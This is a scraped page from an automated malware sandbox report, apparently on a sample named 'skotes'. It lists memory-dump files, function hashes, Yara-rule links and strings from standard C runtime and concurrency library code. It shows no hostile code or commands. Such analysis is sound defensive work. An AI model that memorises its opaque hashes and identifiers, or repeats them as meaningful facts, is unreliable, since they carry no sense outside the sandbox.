Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vd
API String ID: 3213747228-3616272301
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: a460c0b09a48e37c6ee6a9d3c2e6fdbd8bcf807612c28d6bbace3128253b6885
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 20B10232D066459FDB55CF28C881BEEBBE7EF45360F1441AAE855EB341D6348D02CBA4

Function 00641B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00641B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00641B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00641C2A

Strings

switchState, xrefs: 00641B5E
pContext, xrefs: 00641C22

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: ee25dd7a6069cf4b6bc9d24435d08713dd6b2c44b985cc268959dd3e1af69d38
Instruction ID: c4af70be2002f6a498c1d5149df6a0228eaa304b0ecde522f706486475fd1627
Opcode Fuzzy Hash: ee25dd7a6069cf4b6bc9d24435d08713dd6b2c44b985cc268959dd3e1af69d38
Instruction Fuzzy Hash: 3B31B435A00214ABCF45EF64C881AADB7B7FF56314F208569E9119B382EB71EE41CA94

Function 00644E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00644E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00644E86
PMDtoOffset.LIBCMT ref: 00644EAC

Strings

Bad dynamic_cast!, xrefs: 00644EEE

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 6474584171c40ae59ef4ffb7303d38b5a4b8714d9aa5d2ee7b2c61f023b643ce
Instruction ID: f3103d1a6a173f622c85e87c777396e18476a01d8961327bbfb542c220d1486d
Opcode Fuzzy Hash: 6474584171c40ae59ef4ffb7303d38b5a4b8714d9aa5d2ee7b2c61f023b643ce
Instruction Fuzzy Hash: E621C472A04205AFCB14DF68DD47FEA77BAFF84720B24822DF91597680DF31E9008695

Function 0064727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006472BE

Strings

.exe, xrefs: 006472CB
.com, xrefs: 006472FE
.bat, xrefs: 006472ED
.cmd, xrefs: 006472DC

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: aa0c4ba0bf2fe2b0cef62da66be3684f59d5cb4c13d92853abcbc7a31beb13c2
Instruction ID: 591f74249fca1ba8ba1eca85bb67e422a49dfddbed7fd9b98ef246b952bf307c
Opcode Fuzzy Hash: aa0c4ba0bf2fe2b0cef62da66be3684f59d5cb4c13d92853abcbc7a31beb13c2
Instruction Fuzzy Hash: 5C012627708A232567165418DE42BA71B8B8BC2BB4B2A402EFC94F73C1EF45DC4221E4

Function 0062FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0062FB06

Strings

GetThreadGroupAffinity, xrefs: 0062FA93
GetCurrentProcessorNumberEx, xrefs: 0062FABE
SetThreadGroupAffinity, xrefs: 0062FA87
kernel32.dll, xrefs: 0062FA7A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: f4c1ee6c40c1b40e36e85aeff7196eb533be83ebe34a468940ec36997dbe66b4
Instruction ID: 52e6e53b3752fc75eca0262ec4644c9622d4fb031bd38d67a169e576b2625fff
Opcode Fuzzy Hash: f4c1ee6c40c1b40e36e85aeff7196eb533be83ebe34a468940ec36997dbe66b4
Instruction Fuzzy Hash: 7B012D759407256D632477746D93AFB26EFCE06708B21293EB842E7242EEA5E80046B4

Function 00642097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 006420B7

Part of subcall function 0063CAF3: Mailbox.LIBCMT ref: 0063CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006420C8
StructuredWorkStealingQueue.LIBCMT ref: 006420FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0064210F

Strings

e, xrefs: 006420D9

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
